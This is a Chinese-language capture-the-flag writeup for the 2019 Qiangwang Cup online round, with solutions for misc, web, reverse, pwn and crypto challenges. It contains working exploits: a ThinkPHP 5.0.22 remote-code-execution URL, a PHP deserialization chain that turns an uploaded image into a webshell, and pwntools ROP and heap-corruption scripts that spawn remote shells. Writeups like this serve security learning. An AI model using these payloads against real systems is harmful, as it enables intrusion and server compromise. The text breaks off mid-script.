2019强网杯线上赛writeup
题目
Misc
鲲or鳗orGame
网页上的gameboy游戏模拟器
js里面的注释
//var romPath = "laoyanqiang.gb";
打开是张图片
拿gb模拟器打开rom/game.gb
内存c0a2处是Best Score 16位 改成ffff
结算界面变成了flag
强网先锋-打野
图片隐写
:/mnt/d$ zsteg test.bmp --all --limit 2048
[?] 2 bytes of extra data after image end (IEND), offset = 0x269b0e
/usr/lib/ruby/2.5.0/open3.rb:199: warning: Insecure world writable dir /home/pwn/.cargo/bin in PATH, mode 040777
extradata:0 .. ["\x00" repeated 2 times]
imagedata .. text: ["\r" repeated 18 times]
b1,lsb,bY .. <wbStego size=120, ext="\x00\x8E\xEE", data="\x1Ef\xDE\x9E\xF6\xAE\xFA\xCE\x86\x9E"..., even=false>
b1,msb,bY .. text: "qwxf{you_say_chick_beautiful?}"
b2,lsb,bY .. text: "+UXr\"$!v"
b2,msb,bY .. text: "i2,C8&k0."
b3,lsb,bY .. text: "3`p:gyO1S"
b4,lsb,bY .. text: "\nme&Re'c"
b8,lsb,bY .. text: ["\r" repeated 18 times]
b1,lsb,bY,prime .. text: "riI?/1>^J"
b1,msb,bY,prime .. text: "UmlpFSkMwv"
b2,lsb,bY,prime .. text: "L#WEtj\"=}"
b2,msb,bY,prime .. text: "UjVe\"\n8;j"
b3,lsb,bY,prime .. text: "QE 9)\"IE\""
b3,msb,bY,prime .. text: "~~\"6QBK-\""
b4,lsb,bY,prime .. text: "RBRC44T#4$4D52C2"
b4,msb,bY,prime .. text: "(,\",,,,,"
b5,msb,bY,prime .. text: "ram9u!J1"
b6,lsb,bY,prime .. file: GeoSwath RDF
b2,r,lsb,xY .. text: "UUUUUU9VUUUUUUUUUUUUUUUUUUUUUU"
b2,g,lsb,xY .. text: "NUUUUUUUU^"
Web
upload
本题抄了一个模板:https://w3layouts.com/innovative-login-form-flat-responsive-widget-template/
注册登陆,发现文件上传,测试仅可上传图片,且只检测文件头。
随便找张图,在末尾添加shellcode,上传。
扫描得到//www.tar.gz
,解压得到源代码。
审计tp5\application\web\controller
下源码。
//Index.php
public function login_check(){
$profile=cookie('user');
if(!empty($profile)){
$this->profile=unserialize(base64_decode($profile));
$this->profile_db=db('user')->where("ID",intval($this->profile['ID']))->find();
if(array_diff($this->profile_db,$this->profile)==null){
return 1;
}else{
return 0;
}
}
}
存在反序列化。
寻找可利用的类。Register
中存在__destruct()
方法,调用this->checker->index()
。
Profile
类中存在__call()
方法
//Profile.php
public function upload_img(){
if($this->checker){
if(!$this->checker->login_check()){
$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
$this->redirect($curr_url,302);
exit();
}
}
if(!empty($_FILES)){
$this->filename_tmp=$_FILES['upload_file']['tmp_name'];
$this->filename=md5($_FILES['upload_file']['name']).".png";
$this->ext_check();
}
if($this->ext) {
if(getimagesize($this->filename_tmp)) {
@copy($this->filename_tmp, $this->filename);
@unlink($this->filename_tmp);
$this->img="../upload/$this->upload_menu/$this->filename";
$this->update_img();
}else{
$this->error('Forbidden type!', url('../index'));
}
}else{
$this->error('Unknow file type!', url('../index'));
}
}
public function __call($name, $arguments)
{
if($this->{$name}){
$this->{$this->{$name}}($arguments);
}
}
可以调用Profile
类中的任意无参数方法。其中upload_img
方法,可以实现更改文件名及其后缀。需要将ext
置为true
,checker
置为false
即可触发。
EXP:
<?php
namespace app\web\controller;
class Register
{
public $checker;
public $registed;
}
class Profile
{
public $checker;
public $filename_tmp;
public $filename;
public $upload_menu;
public $ext;
public $img;
public $except;
public $index;
}
class Index
{
public $profile;
public $profile_db;
}
$obj = new Register();
$obj->checker = new Profile();
$obj->registed = false;
//刚才上传的图马
//http://117.78.28.89:31424/upload/da5703ef349c8b4ca65880a05514ff89/156005c5baf40ff51a327f1c34f2975b.png
$obj->checker->index = "upload_img";
$obj->checker->ext= true;
$obj->checker->upload_menu="da5703ef349c8b4ca65880a05514ff89";
//路径
$obj->checker->filename_tmp="../public/upload/da5703ef349c8b4ca65880a05514ff89/156005c5baf40ff51a327f1c34f2975b.png";
$obj->checker->filename="../public/upload/da5703ef349c8b4ca65880a05514ff89/shell.php";
$payload = base64_encode(serialize($obj));
echo $payload."\n";
//TzoyNzoiYXBwXHdlYlxjb250cm9sbGVyXFJlZ2lzdGVyIjoyOntzOjc6ImNoZWNrZXIiO086MjY6ImFwcFx3ZWJcY29udHJvbGxlclxQcm9maWxlIjo4OntzOjc6ImNoZWNrZXIiO047czoxMjoiZmlsZW5hbWVfdG1wIjtzOjU5OiIuLi9wdWJsaWMvdXBsb2FkL2RhNTcwM2VmMzQ5YzhiNGNhNjU4ODBhMDU1MTRmZjg5L3NoZWxsLnBocCI7czo4OiJmaWxlbmFtZSI7czo2MToiLi4vcHVibGljL3VwbG9hZC9kYTU3MDNlZjM0OWM4YjRjYTY1ODgwYTA1NTE0ZmY4OS9qaW5nemhlLnBocCI7czoxMToidXBsb2FkX21lbnUiO3M6MzI6ImRhNTcwM2VmMzQ5YzhiNGNhNjU4ODBhMDU1MTRmZjg5IjtzOjM6ImV4dCI7YjoxO3M6MzoiaW1nIjtOO3M6NjoiZXhjZXB0IjtOO3M6NToiaW5kZXgiO3M6MTA6InVwbG9hZF9pbWciO31zOjg6InJlZ2lzdGVkIjtiOjA7fQ==
Antsword连一下,cat /flag
.
Flag:
flag{ce5cb05ff4af0881a044f1d79f59ad2e}
强网先锋-上单
thinkphp5.0.22 RCE https://paper.seebug.org/770/
payload:
http://117.78.28.89:32422/1/public/?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20/flag
Flag:
flag{9cdb595d4de827acde9b45bb120615d6}
Reverse
强网先锋-AD
动态调试查看待比较的字符串,发现是一个base64,直接解码得到flag
JustRe4
输入的前10字节为1324225814
输入后覆盖阶段二函数的开始0x60字节为地址0x404148处的60字节
第二阶段应该是个3DES
第二阶段明文0dcc509a6f75849b
flag{13242258140dcc509a6f75849b}
import claripy
import struct
from Crypto.Cipher import DES3
dst = [2213317461, 3967938788, 632, 1078985889, 2311336704, 41165956, 269418496, 1078044677, 1103142912, 257294400, 740574225, 2114974551,
1078048773, 3591333376, 255861828, 1779056912, 608471104, 612666700, 508, 256901226, 472138769, 1005800, 2369808896, 38282372]
ms = [0, 1, 2, 3, 4, 4, 4, 4, 8, 8, 8, 8, 12, 12, 12, 12]
ns = [2092209401, 3952197289, 4279241742, 1063260902, 2261515592, 4248564421, 4011265610, 1062303302, 1053847116, 140381709, 720130655, 1494727968, 1062307405, 2971086929, 139457038, 1696223075, 592221716, 596417297, 4279242626, 140512749, 4209791593, 4279723633, 2320512090, 4250399447]
# last_byte = 0x5e
# num = 0x1A2B3C4D
last_byte = claripy.BVS('last', 8)
last_byte = last_byte.zero_extend(24)
num = claripy.BVS('num', 32)
solver = claripy.Solver()
tmp = last_byte * 0x1010101
mask = (1 << 128) - 1
for i in range(24):
if i < 16:
if i < 4:
ns[i] = (ms[i] + num) ^ (tmp + ns[i])
else:
ns[i] = (ms[i] + ms[i % 4] + num) ^ (tmp + ns[i])
else:
ns[i] = ((i + num) ^ (tmp + ns[i]))
solver.add(ns[i] == dst[i])
part1 = solver.batch_eval([num, last_byte], 1)[0][0]
part1 = hex(part1)[2:]
dstl = 0xFACE0987E6A97C50
dsth = 0x6C97BB90CF0DD520
dst = struct.pack("<Q", dstl) + struct.pack("<Q", dsth)
ct = struct.pack("<I", 0xE6A97C50) + \
struct.pack("<I", 0xFACE0987) + \
struct.pack("<I", 0xCF0DD520) + \
struct.pack("<I", 0x6C97BB90) + \
struct.pack("<I", 0xB0F69090) + \
struct.pack("<I", 0xE8A4A67B)
key = struct.pack("<Q", 0x4445434641534641) + \
struct.pack("<Q", 0x4E43415843584359) + \
struct.pack("<Q", 0x43585143444B4644)
cipher = DES3.DES3Cipher(key)
pt = cipher.decrypt(ct)
pt = pt[:-pt[-1]]
part2 = pt.decode('ascii')
flag = 'flag{' + part1 + part2 + '}'
print(flag)
webassembly
XTEA算法
import struct
def xtea_decrypt(block, key):
XTEA_DELTA = 0x9E3779B9
XTEA_N = 32
(pack, unpack) = (struct.pack, struct.unpack)
(y, z) = unpack("<2L", block)
k = unpack("<4L", key)
(sum, delta, n) = 0, XTEA_DELTA, XTEA_N
sum = (delta * n) & 0xFFFFFFFF
for i in range(n):
z = (z - (((y << 4 ^ y >> 5) + y) ^
(sum + k[sum >> 11 & 3]))) & 0xFFFFFFFF
sum = (sum - delta) & 0xFFFFFFFF
y = (y - (((z << 4 ^ z >> 5) + z) ^ (sum + k[sum & 3]))) & 0xFFFFFFFF
return pack("<2L", y, z)
ct = [
0xb4, 0x34, 0x22, 0x73, 0x52, 0x39, 0x9d, 0xf8, 0x3f, 0xff,
0x01, 0xa9, 0x26, 0xf9, 0xc3, 0x26, 0x89, 0x55, 0xd2, 0xc6,
0x5e, 0xfe, 0x9b, 0xbe, 0x33, 0xcb, 0xe5, 0xd6, 0xfa, 0xcf,
0xa2, 0x3d, 0x63, 0x39, 0x33, 0x61, 0x36, 0x7d
]
ct = bytes(ct)
key = b'\x00' * 16
flag = xtea_decrypt(ct[:8], key)
flag += xtea_decrypt(ct[8:16], key)
flag += xtea_decrypt(ct[16:24], key)
flag += xtea_decrypt(ct[24:32], key)
flag += ct[32:]
print(flag)
设备固件
反汇编
opcodes = {
1: "add", #
2: "sub",
3: "cmp",
4: "jmpi",
5: "movr", #
6: 'alw', #
7: "jmpr", #
8: "movi", #
9: "fail", #
0xa: "movm",
0xb: "push", #
0xd: "mul", #
0xe: "div", #
0xf: "lsh", #
0x10: "rsh", #
0xff: "end"
}
code = [8, 0, 0, 0, 32, 0, 8, 0, 1, 0, 0, 0, 8, 0, 2, 0, 1, 0, 3, 0, 1, 0, 0, 0, 4, 1, 22, 0, 0, 0, 8, 0, 11, 0, 0, 0, 8, 0, 12, 0, 0, 0, 1, 0, 12, 0, 11, 0, 3, 0, 11, 0, 1, 0, 1, 0, 11, 0, 2, 0, 4, 2, 252, 255, 0, 0, 8, 0, 3, 0, 8, 0, 8, 0, 4, 0, 6, 0, 8, 0, 9, 0, 16, 0, 15, 0, 9, 0, 3, 0, 8, 0, 10, 0, 36, 0, 1, 0, 9, 0, 10, 0, 1, 0, 9, 0, 12, 0, 10, 0, 5, 0, 1, 0, 13, 0, 5, 0, 9, 0, 5, 0, 6, 0, 5, 0, 16, 0, 6, 0, 4, 0, 11, 0, 7, 0, 1, 0, 3, 0, 6, 0, 7, 0, 1, 0, 1, 0, 2, 0, 4, 1, 233, 255, 0, 0, 4, 2, 1, 0, 0, 0, 255, 0, 0, 0, 0, 0, 9, 0, 0, 0, 0, 0, 255, 0, 0, 0, 0, 0]
s = set()
for i in range(0, len(code), 6):
opcode = code[i+0]
check_status = code[i+1]
op1 = code[i+2] | (code[i+3] << 8)
if code[i+3] != 0:
op1 = -((op1 - 1) ^ 0xffff)
op2 = code[i+4] | (code[i+5] << 8)
print("{:02x}: {:5s}({}) {:x},{:x}".format(i//6, opcodes[opcode], check_status, op1, op2))
获得flag
username = bytes([0x64, 0x36, 0x65, 0x66, 0x35])
dst = [3163, 3293, 3359, 6336, 6342, 3110, 3698, 3575, 6577, 3393, 3336, 6428, 3289, 3761, 3310, 6776, 3467, 3481, 3428, 3309, 6648, 3681, 6783, 6887, 3878, 6964, 6864, 3452, 4041, 3710, 7182, 7086]
password = []
for i in range(0x20):
magic = 0x1024 + sum(range(i + 1))
for c in range(0x100):
if (c * magic) >> 6 == dst[i]:
password.append(c)
break
password = bytes(password)
print("Username: {}".format(username.decode('ascii')))
print("Password: {}".format(password.decode('ascii')))
Pwn
babymimic
给了两个x86和x64的程序,又看到了拟态防御,猜会把输入喂给两个程序,测试了一下发现输出不同时会被检测出来,先尝试在没有多余输出的情况下直接反弹其中一个程序的shell,发现也能被检测出。最后看到两个程序栈溢出长度不同,明白了要用一个payload同时打两个程序
from pwn import *
import hashlib
def proof_of_work():
p.recvuntil(".hexdigest()=")
h = p.recv(64)
print h
p.recvuntil(".encode('hex')=")
s = p.recv(10).decode("hex")
p.recvuntil("skr.encode('hex')=")
print s
for c1 in range(0xff,-1,-1):
for c2 in range(0xff,-1,-1):
for c3 in range(0xff,-1,-1):
if hashlib.sha256(s+chr(c1)+chr(c2)+chr(c3)).hexdigest() == h:
return s+chr(c1)+chr(c2)+chr(c3)
'''
0x0809ccf4: mov dword ptr [eax], edx; ret;
'''
int80 = 0x0806f300
pop_eax = 0x080a8af6
pop_ebx = 0x080481c9
pop_ecx_pop_ebx = 0x0806e9f2
pop_edx = 0x0806e9cb
add_esp = 0x0806b225 #add esp, 0x100; sub eax, edx; ret;
pop_rax = 0x000000000043b97c
pop_rdx = 0x000000000043d9d5
pop_rdi = 0x00000000004005f6
pop_rsi = 0x0000000000405895
syscall = 0x0000000000461645
#0x0000000000477521: mov qword ptr [rax], rdx; ret;
payload = "a"*0x10 + "\x00"*0x100 + p32(add_esp) + p32(0)
x86_payload = ""
x64_payload = ""
#reverse_shell = ["/bin/cat","./flag_2d5088d4cac1e7d5f935659807a44db8"]
reverse_shell = ["/bin/sh"]
x86_addrs = [0x080DAE00, 0x080DAE00+0x10]
x86_addr = 0x080DAE00+0x60
x64_addrs = [0x6A3500, 0x6A3500+0x10]
x64_addr = 0x6A3500+0x60
for j in range(0,len(reverse_shell)):
for i in range(0,len(reverse_shell[j])/4+1):
x86_payload += p32(pop_eax) + p32(x86_addrs[j]+i*4) + p32(pop_edx) + reverse_shell[j][i*4:i*4+4].ljust(4,"\x00") + p32(0x0809ccf4)
x86_payload += p32(pop_eax) + p32(11) + p32(pop_ecx_pop_ebx) + p32(0) + p32(x86_addrs[0]) + p32(pop_edx) + p32(0) + p32(int80) + p32(0x08048930)
for j in range(0, len(reverse_shell)):
for i in range(0, len(reverse_shell[j])/4+1):
x64_payload += p64(pop_rax) + p64(x64_addrs[j]+i*8) + p64(pop_rdx) + reverse_shell[j][i*8:i*8+8].ljust(8,"\x00") + p64(0x0000000000477521)
x64_payload += p64(pop_rax) + p64(59) + p64(pop_rdi) + p64(x64_addrs[0]) + p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(0) + p64(syscall)
print len(x64_payload),len(x86_payload)
x64_payload = x64_payload.ljust(0xfc,"\x90")
payload += x64_payload + p32(0x0804892F) + x86_payload
flag_file = "flag_2d5088d4cac1e7d5f935659807a44db8"
p = remote("49.4.51.149",25391)
#p = process("./_stkof")
skr = proof_of_work()
print skr.encode("hex")
p.sendline(skr.encode("hex"))
print p.recvuntil("teamtoken:")
p.sendline("08c5028f14a51d3336c3e4f80414706d")
p.send(payload)
p.interactive()
045b500501510d5703550357525d5102060106565650525c5305010101550750
flag{4c301c512abbc9b157ee3d4dc1056e14}
babycpp
update_hash 的abs有问题,输入0x80000000后为-8,可以覆盖vtable指针,把string的vtable改成int的vtable,通过来回改string array的vtable以类似类型混淆的方式实现任意地址读写,最后rop执行execve(“/bin/sh”,NULL,NULL)拿shell。刚好两个vtable的第三个16进制不相同,想覆盖需要猜第4个16进制。
from pwn import *
def new_array(kind):
p.recvuntil("Your choice:")
p.sendline("0")
p.recvuntil("What kind of array do you want:\n1.Int Array\n2.String Array\nYour choice:")
p.sendline(str(kind))
def update(h, idx, new_hash):
p.recvuntil("Your choice:")
p.sendline("3")
p.recvuntil("Input array hash:")
p.send(h + "\x00")
p.recvuntil("Input idx:")
p.sendline(str(idx))
p.recvuntil("Input hash:")
p.send(new_hash)
def set_string_element(h, idx, length, content):
p.recvuntil("Your choice:")
p.sendline("2")
p.recvuntil("Input array hash:")
p.send(h + "\x00")
p.recvuntil("Input idx:")
p.sendline(str(idx))
p.recvuntil("Input the len of the obj:")
p.sendline(str(length))
p.recvuntil("Input your content:")
p.send(content)
def set_int_element(h, idx, num):
p.recvuntil("Your choice:")
p.sendline("2")
p.recvuntil("Input array hash:")
p.send(h + "\x00")
p.recvuntil("Input idx:")
p.sendline(str(idx))
p.recvuntil("Input val:")
p.sendline(num)
def show_int(h, idx):
p.recvuntil("Your choice:")
p.sendline("1")
p.recvuntil("Input array hash:")
p.send(h + "\x00")
p.recvuntil("Input idx:")
p.sendline(str(idx))
p.recvuntil("The value in the array is ")
addr = p.recvuntil("\n")
print addr[0:len(addr)-1]
return int(addr,16)
def show_str(h, idx):
p.recvuntil("Your choice:")
p.sendline("1")
p.recvuntil("Input array hash:")
p.send(h + "\x00")
p.recvuntil("Input idx:")
p.sendline(str(idx))
p.recvuntil("Content:")
addr = p.recv(6).ljust(8,"\x00")
return u64(addr)
def update_str_element(h, idx, content):
p.recvuntil("Your choice:")
p.sendline("2")
p.recvuntil("Input array hash:")
p.send(h + "\x00")
p.recvuntil("Input idx:")
p.sendline(str(idx))
p.recvuntil("Input your content:")
p.send(content)
#aslr off
offset = 0x555555768ff0 - 0x555555768e70
offset2 = 0x555555768ff0 - 0x555555768ea0
main_stack = 0x7FFFFFFFDE78
environ_stack = 0x7fffffffdf68
offset3 = environ_stack - main_stack
while True:
try:
#p = process("./babycpp")
p = remote("49.4.15.125", 32207)
new_array(1)
new_array(2)
set_string_element("\x01", 0, 0x20, "1"*0x20)
update("\x01", 2147483648, "\xe0\x5c")
heap_addr = show_int("\x01", 0)
print hex(heap_addr)
set_int_element("\x01", 1, hex(heap_addr - offset))
update("\x01", 2147483648, "\x00\x5d")
func_addr = show_str("\x01", 1)
elf_base = func_addr - 0x10C6
print hex(func_addr)
print "elf_base: " + hex(elf_base)
malloc_got = elf_base + 0x201FB8
print "malloc_got: " + hex(malloc_got)
update("\x01", 2147483648, "\xe0\x5c")
set_int_element("\x00", 0, hex(malloc_got))
set_int_element("\x01", 2, hex(heap_addr - offset2))
update("\x01", 2147483648, "\x00\x5d")
libc_malloc = show_str("\x01", 2)
libc_base = libc_malloc - 0x097070
print "libc_base: " + hex(libc_base)
sh = libc_base + 0x1B3E9A
system = libc_base + 0x4F440
environ = libc_base + 0x3EE098
pop_rdi = libc_base + 0x00002155f
pop_rsi = libc_base + 0x0000023e6a
pop_rdx = libc_base + 0x0000000000001b96
execve = libc_base + 0xE4E30
print "/bin/sh: " + hex(sh)
print "system: " + hex(system)
print "execve: " + hex(execve)
print "environ: " + hex(environ)
update("\x01", 2147483648, "\xe0\x5c")
set_int_element("\x00", 0, hex(environ))
set_int_element("\x01", 2, hex(heap_addr - offset2))
update("\x01", 2147483648, "\x00\x5d")
stack = show_str("\x01", 2)
print "stack: " + hex(stack)
set_int_element("\x00", 0, hex(stack - offset3))
set_int_element("\x00", 1, hex(0x100))
update_str_element("\x01", 2, p64(pop_rdi) + p64(sh) + p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(0) + p64(execve))
break
except:
p.close()
#gdb.attach(p)
#raw_input()
p.interactive()
Your choice:$ 4
Bye!
$ ls
babycpp
bin
dev
flag
lib
lib32
lib64
$ cat flag
flag{9a3a902d2b3e980e0d7b41d756faec03}
$
[*] Interrupted
[*] Closed connection to 49.4.15.125 port 32207
Random
- 利用add_note里在tomorrow增加add_note的功能在game list上留下一个没被删除的节点,但节点本身被释放进了fastbin
- 把这个fastbin在第二天分配给其他节点,这样game list上有两个相同节点,执行完之后出现double free,第一次free时保证fastbin为空,否则game list的遍历会出问题。
- 之后把double free的fastbin分配给add_note函数,创建一个note,劫持fastbin的fd,设置为可控位置note array,note array上事先要有一个大小为0x21的note
- 把可控位置的fastbin分配给add_note函数,创建note,这样就可以修改note array上的指针了,利用update、view任意地址读写
- 操作是rand的,但可以预测,需要凑出一个合适的操作序列
from pwn import *
import ctypes
libc = ctypes.CDLL("./libc-2.23.so")
libc.srand(None)
actions = []
for i in range(0x30):
x = libc.rand()
if x%4 == 0:
actions.append("add")
print i
elif x%4 == 1:
actions.append("update")
elif x%4 == 2:
actions.append("delete")
else:
actions.append("view")
print actions
def choice_pass():
x = p.recvuntil("(Y/N)\n")
p.sendline("N")
def add_note(size, content, x):
p.recvuntil("Do you want to add note?(Y/N)\n")
p.sendline("Y")
p.recvuntil("Input the size of the note:\n")
p.sendline(str(size))
p.recvuntil("Input the content of the note:\n")
p.send(content)
p.recvuntil("Do you want to add another note, tomorrow?(Y/N)\n")
p.sendline(x)
def view(idx):
p.recvuntil("Do you want to view note?(Y/N)\n")
p.sendline("Y")
p.recvuntil("Input the index of the note:\n")
p.sendline(str(idx))
return u64(p.recv(6).ljust(8,"\x00"))
def update(idx, content):
p.recvuntil("Do you want to update note?(Y/N)\n")
p.sendline("Y")
p.recvuntil("Input the index of the note:")
p.sendline(str(idx))
p.recvuntil("Input the new content of the note:\n")
p.send(content)
elf = ELF("./libc-2.23.so")
#p = process("./random")
p = remote("49.4.15.125",31697)
p.recvuntil("Please input your name:\n")
p.send("1"*8)
p.recvuntil("1"*8)
addr = u64(p.recv(6).ljust(8,"\x00"))
elf_base = addr - 0xb90
print hex(elf_base)
print hex(elf_base + 0x203168)
print hex(elf_base + 0x11ac)
print hex(elf_base + 0x203190)
p.sendline("10")
p.recvuntil("How many times do you want to play this game today?(0~10)\n")#1
p.sendline("8")
add_note(0x21, "A1Lin\n", "Y")
for i in range(7):
choice_pass()
p.recvuntil("How many times do you want to play this game today?(0~10)\n")#2
p.sendline("7") #double free
for i in range(9):
choice_pass()
p.recvuntil("How many times do you want to play this game today?(0~10)\n")#3
p.sendline("2") #hijck fastbin
add_note(17, p64(elf_base+0x203180) + "\n", "N")
choice_pass()
p.recvuntil("How many times do you want to play this game today?(0~10)\n")#4
p.sendline("6")
choice_pass()
add_note(0x21, "A1Lin\n", "N")
choice_pass()
add_note(0x21, "A1Lin\n", "N")
for i in range(2):
choice_pass()
p.recvuntil("How many times do you want to play this game today?(0~10)\n")#5
p.sendline("5")
for i in range(5):
choice_pass()
p.recvuntil("How many times do you want to play this game today?(0~10)\n")#6
p.sendline("10")
add_note(17, p64(elf_base + 0x2031a0) + p64(0x20)[0:6] + "\n", "N")
update(1, p64(elf_base + 0x0203018) + "\n")
addr = view(2)
print "free: " + hex(addr)
elf.address = addr - elf.symbols["free"]
print "libc: " + hex(elf.address)
print hex(elf_base + 0x203018)
update(1, p64(elf_base + 0x203018) + p64(0x20)[0:6] + "\n")#free_got
choice_pass()
choice_pass()
choice_pass()
update(2, p64(elf.address + 0xf1147) + "\n")
#print p.recv()
#gdb.attach(p)
p.interactive()
'''
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xcd0f3 execve("/bin/sh", rcx, r12)
constraints:
[rcx] == NULL || rcx == NULL
[r12] == NULL || r12 == NULL
0xcd1c8 execve("/bin/sh", rax, r12)
constraints:
[rax] == NULL || rax == NULL
[r12] == NULL || r12 == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
0xf66f0 execve("/bin/sh", rcx, [rbp-0xf8])
constraints:
[rcx] == NULL || rcx == NULL
[[rbp-0xf8]] == NULL || [rbp-0xf8] == NULL
'''
强网先锋-AP
堆溢出直接泄露puts地址,然后堆溢出覆盖puts为system拿shell
from pwn import *
def get(length, name):
p.recvuntil("Choice >> \n")
p.sendline("1")
p.recvuntil("The length of my owner's name:\n")
p.sendline(str(length))
p.recvuntil("Give me my owner's name:\n")
p.send(name)
def open(idx):
p.recvuntil("Choice >> \n")
p.sendline("2")
p.recvuntil("Please tell me which tickets would you want to open?\n")
p.sendline(str(idx))
p.recvuntil("I'm a magic tickets.I will tell you who is my owner!\n")
def change(idx, length, name):
p.recvuntil("Choice >> \n")
p.sendline("3")
p.recvuntil("Please tell me which tickets would you want to change it's owner's name?\n")
p.sendline(str(idx))
p.recvuntil("The length of my owner's name:")
p.sendline(str(length))
p.recvuntil("Give me my owner's name:\n")
p.send(name)
#p = process("./task_main")
libc = ELF("./libc-2.23.so")
p = remote("117.78.39.172",32146)
get(0x10,"A1Lin1")
get(0x10,"A1Lin2")
change(0,0x21, "a"*0x20)
open(0)
p.recvuntil("a"*0x20)
heap_addr = u64(p.recv(6).ljust(8,"\x00"))
print hex(heap_addr)
change(0,0x29, "a"*0x28)
open(0)
p.recvuntil("a"*0x28)
puts_addr = u64(p.recv(6).ljust(8,"\x00"))
libc.address = puts_addr - libc.symbols["puts"]
change(0,0x29+8, "a"*0x10 + p64(0) + p64(0x21) + p64(heap_addr) + p64(libc.symbols["system"]))
change(1,9,"/bin/sh\x00")
open(1)
print hex(libc.address)
#gdb.attach(p)
p.interactive()
Crypto
randomstudy
- step1 暴力猜测系统时间种子
- step2 java 伪随机数预测
- step3 题目漏洞,直接利用step1中的种子预测随机数。
脚本如下:import random import time from pwn import * import gmpy2 from Crypto.Util.number import long_to_bytes context.log_level = "debug" import hashlib def proof(prefix,hexdig): for a in range(0,256): for b in range(0,256): for c in range(0,256): skr = prefix + chr(a) +chr(b) + chr(c) if hashlib.sha256(skr).hexdigest()==hexdig: return skr.encode("hex") ip = '119.3.245.36' port = 23456 token = "08c5028f14a51d3336c3e4f80414706d" io = remote(ip,port) io.recvline() hexdig = io.recvline().split("=")[1].strip() prefix = io.recvline().split("=")[1].strip().decode("hex") io.sendlineafter("skr.encode('hex')=",proof(prefix,hexdig)) io.sendlineafter("[+]teamtoken:",token) io.recvuntil("[-]") seed_tem = int(time.time()) print seed_tem random.seed(seed_tem) io.sendline(str(random.randint(0,2**64))) second = 1 while "fail" in io.recvline(): temp = seed_tem+second random.seed(temp) for i in range(second): random.randint(0,2**64) io.sendlineafter("[-]",str(random.randint(0,2**64))) second = second+1 io.recvuntil("[+]Generating challenge 2\n") v1 = int(io.recvline().split("[-]")[1].strip()) v2 = int(io.recvline().split("[-]")[1].strip()) def replicateState(nextN,nextM): temN = nextN temM = nextM seed = [] multiplier = 0x5DEECE66D addend = 0xB mask = (1L << 48) - 1 upperMOf48Mask = ((1L << 32) - 1) << (48 - 32) oldSeedUpperN = (nextN << (48 - 32)) & mask newSeedUpperM = (nextM << (48 - 32)) & mask oldSeed = oldSeedUpperN for i in range(oldSeed,(oldSeedUpperN | ((1L << (48 - 32)) - 1))+1): newSeed = (i * multiplier + addend) & mask if ((newSeed & upperMOf48Mask) == newSeedUpperM): seed.append(newSeed) if seed: pre = ((seed[0] * multiplier + addend)& mask)>>16 if len(bin(pre))-2==32 and bin(pre)[2]=='1': return pre-1 return pre nextN = -(0xffffffff-nextN) oldSeedUpperN = (nextN << (48 - 32)) & mask newSeedUpperM = (nextM << (48 - 32)) & mask oldSeed = oldSeedUpperN for i in range(oldSeed,(oldSeedUpperN | ((1L << (48 - 32)) - 1))+1): newSeed = (i * multiplier + addend) & mask if ((newSeed & upperMOf48Mask) == newSeedUpperM): seed.append(newSeed) if seed: pre = ((seed[0] * multiplier + addend)& mask)>>16 if len(bin(pre))-2==32 and bin(pre)[2]=='1': return pre-1 return pre nextN = temN nextM = -(0xffffffff-nextM) oldSeedUpperN = (nextN << (48 - 32)) & mask newSeedUpperM = (nextM << (48 - 32)) & mask oldSeed = oldSeedUpperN for i in range(oldSeed,(oldSeedUpperN | ((1L << (48 - 32)) - 1))+1): newSeed = (i * multiplier + addend) & mask if ((newSeed & upperMOf48Mask) == newSeedUpperM): seed.append(newSeed) if seed: pre = ((seed[0] * multiplier + addend)& mask)>>16 if len(bin(pre))-2==32 and bin(pre)[2]=='1': return pre-1 return pre nextN = -(0xffffffff-temN) nextM = -(0xffffffff-temM) oldSeedUpperN = (nextN << (48 - 32)) & mask newSeedUpperM = (nextM << (48 - 32)) & mask oldSeed = oldSeedUpperN for i in range(oldSeed,(oldSeedUpperN | ((1L << (48 - 32)) - 1))+1): newSeed = (i * multiplier + addend) & mask if ((newSeed & upperMOf48Mask) == newSeedUpperM): seed.append(newSeed) if seed: pre = ((seed[0] * multiplier + addend)& mask)>>16 if len(bin(pre))-2==32 and bin(pre)[2]=='1': return pre-1 return pre v3 = replicateState(v1,v2) io.sendlineafter("[-]",str(v3)) io.recvuntil("[+]Generating challenge 3\n") io.sendlineafter("[-]",str(random.getrandbits(32))) io.recv() io.recv()
copperstudy
关于coppersmith rsa相关攻击,攻击代码如下:
from pwn import *
import gmpy2
from Crypto.Util.number import long_to_bytes
context.log_level = "debug"
import hashlib
def proof(prefix,hexdig):
for a in range(0,256):
for b in range(0,256):
for c in range(0,256):
skr = prefix + chr(a) +chr(b) + chr(c)
if hashlib.sha256(skr).hexdigest()==hexdig:
return skr.encode("hex")
ip = '119.3.245.36'
port = 12345
token = "08c5028f14a51d3336c3e4f80414706d"
io = remote(ip,port)
io.recvline()
hexdig = io.recvline().split("=")[1].strip()
prefix = io.recvline().split("=")[1].strip().decode("hex")
io.sendlineafter("skr.encode('hex')=",proof(prefix,hexdig))
io.sendlineafter("[+]teamtoken:",token)
io.recvuntil("[+]Generating challenge 1\n")
n = io.recvline().split("=")[1].strip()
e = io.recvline().split("=")[1].strip()
io.recvline()
c = io.recvline().split("=")[2].strip()
msg = io.recvline().split("=")[1].strip()
'''sage
n = 0x5531aea5ffe86eccf70882f505f4781896f94d18cb35d1baed228ef217f3814145bd7e2d083b43a3b11956a189bd83028d1cea92c707ef2c89470f6976447df21f2125c8ddf79a4e152a616af4b07a3eb8cb4404040e667559979f26ae4b20a70bc8ffbd6524f4e3f565f422a167feebb00f675b76450a2f158f5ef81ce05cd3L
c = 0x1aead4a71c0c3947638876c35442d3eec3da7a8901479a0bfd130b90357e761301ceef8c5f8216ed6ed15926733741e188739458ab8166ead89069df347dd8dc801ce8b528da9d1182721c2a059b0ce9cceacae561fefef2999b39975925cf4ca293f85e959cbe5750e78735f2da3982c886eb62ff69e7440cf57e76e713cb9aL
